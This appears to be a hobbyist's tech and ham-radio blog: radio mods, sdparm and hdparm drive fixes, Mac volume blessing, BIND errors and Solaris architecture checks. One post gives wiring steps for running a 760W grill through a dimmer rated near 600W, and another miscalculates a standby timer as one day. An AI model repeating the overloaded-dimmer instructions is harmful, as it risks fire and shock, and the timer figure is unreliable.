On the receive side, I mocked up a control head using a 10K ohm resistor between "Detected Audio" and "Squelch Wiper". A 3.3K ohm resistor connects "Squelch wiper" to audio ground. This gives a fixed squelch response. Then I connected the + side of the upper audio capacitor on the interconnect board to the backside of JU-3C, which connects to L18 -- the third large pin in the Mitrek control cable interface connector. From there, I routed the signal into the Signal Present line on the TinyTrak and set the voltage at about 3V. Reprogram the TinyTrak to invert DCD, and then set the bias so that it operates in a reasonable fashion. Net result is that the reciever works correctly when there is noise at -124dBm, or when there is a signal at -119dBm. The receiver actually starts hearing around -130dBm.

High Power RF Amps

This is a great PDF:


Local copy: http://blog.catonic.us/kirby/rfamps/High%20Efficiency%20solid%20state%20amplifiers_1.pdf

And a good companion to this article:




Thoughts on biasing MOSFETs:


June 5, 2012 edit:

Ludicrous power!

MOAR!: http://www.bigskyspaces.com/w7gj/HarrisAmps.htm

Where did my hard drive go?

I've been trying to rsync a 1TB filesystem for a few days, mostly from firewire and most recently from USB. Running Firewire, here's what popped up in the logs:

[5776217.857647] Filesystem "sdb1": xfs_log_force: error 5 returned.

And of course, rsync bombed, there was gnashing of teeth, and the kernel/XFS weren't happy. /dev/sdb had disappeared. I tried moving it to a different controller (I have three firewire ports on that PC), and finally to USB with the same results every time... The drive/rsync would go for a while, then fail. And not recover. I reset the hard drive by unplugging the 12V power input cable from the back, and later noticed that simply unplugging it from firewire/USB was enough, provided I left it disconnected long enough for the devices to be deleted from /dev & friends. The drive was a Firewire/USB Western Digital MyBook drive I had borrowed. I haven't had a lot of faith in the devices since I bought a MyBook2 and found it was completely unable to be used as a boot device for a Mac. Unfortunately, that's the one sure-fire way to backup a Macintosh -- install Mac OSX to an external drive, then move over the applications and preferences of the users.

Here's the dmesg when I moved it to USB:

[5788570.588332] usb 5-6: new high speed USB device using ehci_hcd and address 8
[5788570.737577] usb 5-6: configuration #1 chosen from 1 choice
[5788570.742572] scsi25 : SCSI emulation for USB Mass Storage devices
[5788570.743242] usb-storage: device found at 8
[5788570.743246] usb-storage: waiting for device to settle before scanning
[5788570.744481] usb 5-6: New USB device found, idVendor=1058, idProduct=1112
[5788570.744486] usb 5-6: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[5788570.744489] usb 5-6: Product: My Book 1112
[5788570.744493] usb 5-6: Manufacturer: Western Digital
[5788570.744496] usb 5-6: SerialNumber: 574341563539313134373334
[5788575.820168] usb-storage: device scan complete
[5788575.826172] scsi 25:0:0:0: Direct-Access     WD       My Book 1112     1009 PQ: 0 ANSI: 4
[5788575.830661] scsi 25:0:0:1: Enclosure         WD       SES Device       1009 PQ: 0 ANSI: 4
[5788575.835334] sd 25:0:0:0: [sdb] 1952151552 512-byte hardware sectors (999502 MB)
[5788575.836495] sd 25:0:0:0: [sdb] Write Protect is off
[5788575.836495] sd 25:0:0:0: [sdb] Mode Sense: 23 00 10 00
[5788575.836495] sd 25:0:0:0: [sdb] Assuming drive cache: write through
[5788575.842777] sd 25:0:0:0: [sdb] 1952151552 512-byte hardware sectors (999502 MB)
[5788575.844493] sd 25:0:0:0: [sdb] Write Protect is off
[5788575.844493] sd 25:0:0:0: [sdb] Mode Sense: 23 00 10 00
[5788575.844493] sd 25:0:0:0: [sdb] Assuming drive cache: write through
[5788575.844493]  sdb: sdb1
[5788575.863526] sd 25:0:0:0: [sdb] Attached SCSI disk
[5788575.863650] ses 25:0:0:1: Attached Enclosure device

Then mounted the XFS file system..

[5788585.568840] XFS mounting filesystem sdb1
[5788586.331150] Ending clean XFS mount for filesystem: sdb1

And then when the device decided to go to sleep, doing 15MB/s.

[5790392.964797] usb 5-6: reset high speed USB device using ehci_hcd and address 8
[5790905.294369] usb 5-6: reset high speed USB device using ehci_hcd and address 8


I started doing some Googling, which lead me to a number of pages about
hdparm and sdparm.

This one gave me the basic idea, but the syntax didn't work except for "sdparm -al $device".

This command foreshadowed most of my investigation:

# sdparm -c STANDBY -6 /dev/sdb1
    /dev/sdb1: WD        My Book 1112      1009
change_mode_page: failed setting page: Power condition

This one provided some ideas and a little more clue.

This one proved exceptionally useful, once I got the syntax down and figured out how to set the flags and save them.

First I had to set the drive to auto_restart using :

"echo 1 > /sys/class/scsi_disk/$id/allow_restart"

# echo 1 > /sys/class/scsi_disk/25\:0\:0\:0/allow_restart
# echo 1 > /sys/class/scsi_disk/3\:0\:0\:0/allow_restart

Then set the STANDBY flag to zero, so the drive will start...

But first, I figured out how to set the SCT (Standby Timer) to a high value. It maxed out at 288000. 288000 in 100ms chunks is 28800 seconds, double of 14,400, which is one day.

# sdparm -al /dev/sdb
    /dev/sdb: WD        My Book 1112      1009
    Direct access device specific parameters: WP=0  DPOFUA=1
Power condition [po] mode page:
  IDLE        0  [cha: n, def:  0, sav:  0]  Idle timer active
  STANDBY     1  [cha: y, def:  1, sav:  1]  Standby timer active
  ICT         0  [cha: n, def:  0, sav:  0]  Idle condition timer (100 ms)
  SCT      6000  [cha: y, def:6000, sav:6000]  Standby condition timer (100 ms)

Well, that's no good. Set is -s, so let's see if that can be turned up.

# sdparm -s STANDBY=0 -6 --save /dev/sdb
    /dev/sdb: WD        My Book 1112      1009

# sdparm -al /dev/sdb
    /dev/sdb: WD        My Book 1112      1009
    Direct access device specific parameters: WP=0  DPOFUA=1
Power condition [po] mode page:
  IDLE        0  [cha: n, def:  0, sav:  0]  Idle timer active
  STANDBY     1  [cha: y, def:  1, sav:  1]  Standby timer active
  ICT         0  [cha: n, def:  0, sav:  0]  Idle condition timer (100 ms)
  SCT       288000  [cha: y, def:6000, sav:288000]  Standby condition timer (100 ms)

Bonus. But wait, that means that STANDBY can be set to 0, and saved...

# sdparm -s STANDBY=0 -6 --save /dev/sdb
    /dev/sdb: WD        My Book 1112      1009

No errors... looks good.

# sdparm -al /dev/sdb
    /dev/sdb: WD        My Book 1112      1009
    Direct access device specific parameters: WP=0  DPOFUA=1
Power condition [po] mode page:
  IDLE        0  [cha: n, def:  0, sav:  0]  Idle timer active
  STANDBY     0  [cha: y, def:  1, sav:  0]  Standby timer active
  ICT         0  [cha: n, def:  0, sav:  0]  Idle condition timer (100 ms)
  SCT       288000  [cha: y, def:6000, sav:288000]  Standby condition timer (100 ms)

The system started behaving as if the drive were online. Imagine my surprise when I switched terminals and found that rsync was happily copying data!  

So that's how you turn off the power management for a Western Digital MyBook portable hard drive.

Edit: It's not always effective. Sometimes it still refuses to wake up. But now it takes a long time to go to sleep. 

PE-75 Generator Manual TM 11-900

Original Post: 02-20-2012 @ 1:17:40

PE-75 Power Unit

2.5KW Generator, 120V, 22.5A, 1800 RPM
6.5HP Briggs & Stratton Model ZZ (with 'antique' updraft carburetor), 2400 RPM

330 lbs, mounted to steel frame.

Yes, I have a manual. Here's Part I, V1.0 of it:


This is also known as TM 11-900.

This monster was a part of an SCR-197.

Here's some other manuals I found on the web. Mine, as you note, is slightly different:


Edit: 6/25/2012

Now I have the whole manual. Both of these are about 10MB:

TM 11-900
TM 11-900 rotated for readability

My manual is copyright by me, Kris Kirby. All rights reserved. This manual may be used for non-commercial purposes only. This manual may not be included in derivative works, or compilations of works (i.e.: CDROM collections), or sold on eBay either in print form or on electronic media.

Please contact me if you have a desire to include the manual in distributed works; we may be able to come to an understanding.

I have much higher quality versions of this document already scanned at over 150 DPI, uncompressed. I'd be happy to work out a license for the higher quality works and/or commercial uses.

DRM hasn't been included in these works because I believe strongly in portability. My original manual was printed/produced in the 1940s. It has survived this long, but it will not survive forever. It is my desire to preserve this information, but not exploit it. It took me a long time to scan, process, and so on. And you'll note from the document that I didn't always get everything straight. I don't seek to recoup my time, energy, and hard drive space. But there is a significant personal investment of each of those.

If there's something you can't read on a page, let me know. I may be able to re-scan the page and change the documents. It was stored in the accessory box of the generator, so it is filthy and does tend to leave specks behind on the scanner.

I can be reached at kris ]a()t[ catonic d0t us.

Bless me Father, for I have sinned...

... I have committed great atrocities against Mac OSX....

Based on the info at Bombich.com about blessing folders to make them bootable, I found that it was necessary to do a little bit more.

# bless --info "/Volumes/FW1"
finderinfo[0]: 187 => Blessed System Folder is /Volumes/FW1/System/Library/CoreServices
finderinfo[1]: 746345 => Blessed System File is /Volumes/FW1/System/Library/CoreServices/boot.efi
finderinfo[2]: 0 => Open-folder linked list empty
finderinfo[3]: 0 => No OS 9 + X blessed 9 folder
finderinfo[4]: 0 => Unused field unset
finderinfo[5]: 187 => OS X blessed folder is /Volumes/FW1/System/Library/CoreServices


The relevant information in this case is that the blessed system folder is at inode 116, and that path (for the human reader) is /System/Library/CoreServices. PowerPC-based Macs need only this piece of information to boot. PPC Open Firmware will find that directory, then execute the file named "BootX" within that directory. Intel-based Macs also use the "Blessed System File" information. In this case, that is the file at inode 546345 and (again, for the human reader), that file is located at /System/Library/CoreServices/boot.efi.

If you ever need to bless a volume manually (for example, if CCC indicated that it was unable to bless the volume), you could run this command in the Terminal application:

sudo bless -folder "/Volumes/Backup/System/Library/CoreServices"

It is important to note that blessing a volume is different than specifying a boot device. Blessing a volume simply updates the information in the HFS Volume Header that indicates where the blessed system folder and file are located. When you specify a particular volume as the startup disk, on the other hand, the computer stores a reference to that volume in the "Non volatile RAM" -- basically a small section of RAM whose contents are not lost when the machine loses power or is shutdown. The importance of this disctinction, and all four of these rules for that matter, is that simply setting a volume as the startup disk may not be sufficient to actually boot from that volume.

In my particular case, executing the above "bless" resulted in a single folder that was blessed, so FW1B, the backup/rsync copy of FW1, wasn't blessed the same. Turns out the fix is simple, thanks to the man page for bless:

sudo bless -folder "/Volumes/FW1B/System/Library/CoreServices" -file "/Volumes/FW1B/System/Library/CoreServices/boot.efi"

And that's how you make it bootable. This is Mac OSX 10.6.7, I think.

The long story made short is that I wound up with two system images on a single hard drive, one of which could *not* be shrunk below 145GB, despite having 40GB of free space. It appears that limit is due to another partition on the same drive not being 145G+145G away from the original image. Once both images are shrunk, the 105GB images will fit on a single 320GB drive, giving me back my 1TB drive.

This link was used to form the basis of that rsync. I used the built-in rsync from /usr/bin/rsync, rather than another product.

The basic process was:

1) Blank disk
2) Partition disk
3) rsync from original disk partition #1 to target disk partition #1
4) rsync from original disk partition #2 to target disk partition #2
5) bless files & folders on target disk partition #1 to match blessed folders on original disk partition #1.
6) test booting from target disk partition #1.

Resetting a DVD Burner gone wonky

After attempting to burn a DVD, I started receiving these messages in the log, and all over the root terminal. Naturally, this made it hard to be root and fix the problem.

Feb 18 22:19:31 secondlt kernel: [5643777.542654] hdb: status error: status=0x58 { DriveReady SeekComplete DataRequest }
Feb 18 22:19:31 secondlt kernel: [5643777.542659] ide: failed opcode was: unknown
Feb 18 22:19:31 secondlt kernel: [5643777.542719] hdb: status error: status=0x58 { DriveReady SeekComplete DataRequest }
Feb 18 22:19:31 secondlt kernel: [5643777.542724] ide: failed opcode was: unknown
Feb 18 22:40:19 secondlt kernel: [5645187.666411] hdb: status error: status=0x58 { DriveReady SeekComplete DataRequest }
Feb 18 22:40:19 secondlt kernel: [5645187.666411] ide: failed opcode was: unknown

Well, this wasn't made any easier because hald was polling that device every two seconds:

# ps -ax | grep "hal"
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
19265 ?        Ss     0:00 /usr/sbin/hald
19266 ?        S      0:00 hald-runner
19284 ?        S      0:00 hald-addon-input: Listening on /dev/input/event3 /dev/input/event2 /dev/input/event1
19292 ?        S      0:00 /usr/lib/hal/hald-addon-cpufreq
19293 ?        S      0:00 hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
19298 ?        S      0:00 hald-addon-storage: polling /dev/hdb (every 2 sec)
19372 pts/1    S+     0:00 grep hal

So step 1 was to kill -HUP the hald process, 19298. Fortunately, it didn't come back. Next was to head into the man pages on hdparm and see if there was a flag that could reset the device. There is, it's "-w". The man page notes it is an extremely dangerous flag.

# hdparm -w /dev/hdb
device reset

Then restart hald:

# /etc/init.d/hal restart

Check the logs again:
Feb 18 22:40:19 secondlt kernel: [5645187.666751] hdb: DMA disabled
Feb 18 22:40:19 secondlt kernel: [5645187.714462] hdb: ATAPI reset complete
Feb 18 22:40:50 secondlt kernel: [5645221.270844] cdrom: This disc doesn't have any tracks I recognize!

Ok, that last one means I have a burnable DVD loaded and can restart the burning program.

This is all well and good, because I really didn't want to shut the virtual machines down to reboot the system.

Which brings me to another topic: always run ntpd on your virtual machines. When the system suspends them, they loose track of time. So much so that it may be easier to stop ntp, ntpdate, and then restart ntp after a reboot/suspend action.

VMotion is damn cool technology, but not worth the $50,000 if you're just lazy and don't care to take a chance with losing a system. OTOH, if you're doing VMotion, you already bought shared storage of some kind.

Kitchen Hacks

As mentioned in an earlier post about UPS loads, there are devices in the kitchen that can be better used with a hack or two. In my case, I find that the default settings of the (now) small George Foreman grill are entirely too high to cook something such as a half-inch thick steak. The result is that the center is rare (if barely defrosted) and the exterior is almost carbonized. Well, that's unacceptable.

Fortunately, I can deal with that. The George Foreman grill is rated for 760 watts. Since most dimmers are rated for around 600W, this is pretty close. The net result is that the dimmer may fail in a spectacular way. Basically:


1 short high-power appliance extension cord (14AWG or 12AWG)
1 dimmer
1 cover plate
1 metal outlet/switch box
2 Romex or other wire clamps

I assume that you have wire nuts on hand to tie the wires together.

Cut the extension cord in two.
Install the Romex clamps into the metal box.

Connect a (14AWG) ground wire to the box.

I use metal boxes. While they are not friendly to the counter top, they do provide a solid surface for grounding, and some protection, should the bit inside decide to explode.

Connect a ground wire (14AWG) to the dimmer.
Wire-nut the ground wires for the box, dimmer, input (plug) and output (outlet) of the extension cord.
Wire-nut the neutral (white) wires of the extension cord together.
Connect the black wire plug-side of the extension cord to the input side of the dimmer.
Connect the black wire outlet-side of the extension cord to the output side of the dimmer.

Install the dimmer into the box.
Check your wiring for shorts, etc.
Screw on the cover plate carefully so you don't crack it.

Cook. Just don't run more than 775W of load on the dimmer. The George Foreman grill, as tested, is a resistive device. I find that turning the grill down until the neon bulb is just barely lit (and if you turn it down lower, it will go out, but you can turn it back up to make the bulb come back on), you're at a good temperature for grilling some steak without burning and/or undercooking it.

Disclaimer: Don't follow any of these instructions under any circumstances for any purpose whatsoever. This information is presented for purely entertainment value only. None of this information has been checked for correctness or compliance with any electrical codes. Author is not a licensed engineer, electrician, chef, cook, or lawyer. Author is not responsible for any fires which may result from the use of this information, kitchen, electrical or otherwise. Author not responsible for illness as a result of eating undercooked food. Cook all food completely, preferably in an autoclave or medical grade incinerator.

Damn Cool Antennas


Neat stuff.

CNAME and other data

dns_master_load: m/db.domain:15: mail.domain: CNAME and other data
Dec 23 07:06:45 www named[25842]: zone domain.com/IN: loading master file m/db.domain: CNAME and other data

You're seeing this error and thinking... WTF? Why doesn't it work? What does this mean?

I'll tell you what this means.

The short version: instead of being normal and doing a round-robin of either A records or CNAME records, you thought you'd be slick and round-robin an A record and a CNAME. Since you're being a dumbass, vix leaves you a cryptic message for you to meditate over.

Solution: Pick EITHER "A" records or "CNAMES" to round-robin.

vix: 1 you: 0. Buy vix a beer for even attempting to acknowledge your egregious jackassery.

Ramsey FTR-146

I've just received an email from Ed over a Ramsey in the technical support area. I waited a few days and he patiently scanned the last manual they had for the FTR-146!

I'm sure they'll get a copy of it up on the website soon, but I'll mirror it here as well.

So the basic routine for programming is:

Take the Desired Frequency
Subtract 143.000 MHz from it
Multiply by 100.

For example:

146.940 MHz
-143.000 MHz
    x 100

Then you set the PLL divider / diodes to 394 in binary.


So you put diodes into 256, 128, 8, and 2. (and -600KHz if you're using the repeater).

That's it.

Packet Radio / TNCs


Speed is important. Baud rates are limited by law, but Baud doesn't equal signal rate; baud is the baseband. Using QPSK, you can double throughput, and you can still throw bits away in FEC if you need to. Phil Karn is a huge proponent of this and for good reason; he had a critical role in developing Qualcomm's satellite-based terminal systems used by truckers everywhere.

6m might be good for this, but easily obtained radios (Motorola Syntor Xs, GE Deltas, etc.) are starting to disappear. Also, they are large, and without a small TNC/node hardware that fits inside the radio, there is little reason to deploy equipment because more parts can break. Of course, the radios themselves need about 30A on transmit, so that would also need to be dealt with in a manner that doesn't impact size and site power requirements.

There's very little reason why we can't push soundcard packet into smaller systems like the Alix line of micro-PCs. We can dedicate an Arduino to software packet detection, another to node/routing, and pass the data on to a host if need be. Or we can load the sound-card engine into memory as a TSR and boot the thing using DOS and a G8BPQ stack. With TNC-X, a KISS TNC, it's possible to do that and more. Ideally, speeds upwards of 19200 and full-duplex are desired. However, full-duplex generally requires real hardware on the "node" side of things, and duplexers are a generally fixed commodity.

Also, proxy ARP may be a better way to use TCP/IP over AX.25, stealing information directly from the NETROM maps or something. For instance, my state net is 44.100.x.x, but good luck trying to actually get any of that to route outside of Mirrorshades.ucsd.edu.

Really, something closer to the mesh-networking systems used for the next generation wireless networking systems would be better. To gracefully handle losing a node and multiple routes present in the network stack. You can't really do that on a Z80 with 16k of RAM at 10 MHz.

IPv6 needs to be implemented at some point, with a graceful handling of IPv6 addresses to allow for compacting unnecessary zeros.

Software TNCs/Minimal TNCs:





Packet general:
Buck's articles: http://www.buxcomm.com/catalog/ (look down on the left-hand side)

Ham general:

- IP use in TheNet nodes:
 - TheNet replaced by NOS:
 - JNOS:
 INP something. I dunno...
edit: Ah, here it is. A European internode protocol:
Intro to NOS: (packet sizes, numbers)

DX cluster:


Old Huntspac stuff:


Most of the older stuff I saw fall out of use as people got older and fell into different modes / cliques / clubs

32-bit vs 64-bit Solaris 8 or is it 9?

One of my customers called me in for a weekend update that had me scrambling for older Solaris patches on a system that confused me.

Sun Microsystems Inc.   SunOS 5.8       Generic Patch   October 2001
[root@host8 /]$  uname -a
SunOS host 5.8 Generic_117350-62 sun4u sparc SUNW,Sun-Fire-280R

Now, you can see that the system is SunOS 5.8 -- Solaris 8.

However, I needed to find out if it was 32-bit or 64-bit for patching. How to figure that out? Google returns this out of some query I'd diced together:

isainfo -vk

So I tried it:

[root@host8 /]$  isainfo -kv
64-bit sparcv9 kernel modules

Well, obvious the system is 64-bit. Why does a Solaris 8 box identify as sparcv9 though? Well, because SPARC V9 is the processor architecture.

Here's a Solaris 9 system:

Sun Microsystems Inc.   SunOS 5.9       Generic May 2002
[root@host9 /]$  uname -a
SunOS host9 5.9 Generic_118558-09 sun4u sparc SUNW,UltraAX-i2

It's a vastly different piece of hardware. For those of you not up on Sun Hardware, it's a T1 AC-200.

[root@host9 /]$  isainfo -kv
64-bit sparcv9 kernel modules

Just for giggles, here's a Solaris 10 system:

Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
[root@host10 /]$  uname -a
SunOS host10 5.10 Generic_137111-03 sun4v sparc SUNW,Sun-Fire-T200
[root@host10 /]$  isainfo -kv
64-bit sparcv9 kernel modules

So even a T2000 is a "sparcv9" system.

So the root level confusion of this is that sparcv9 does not equal solarisv9.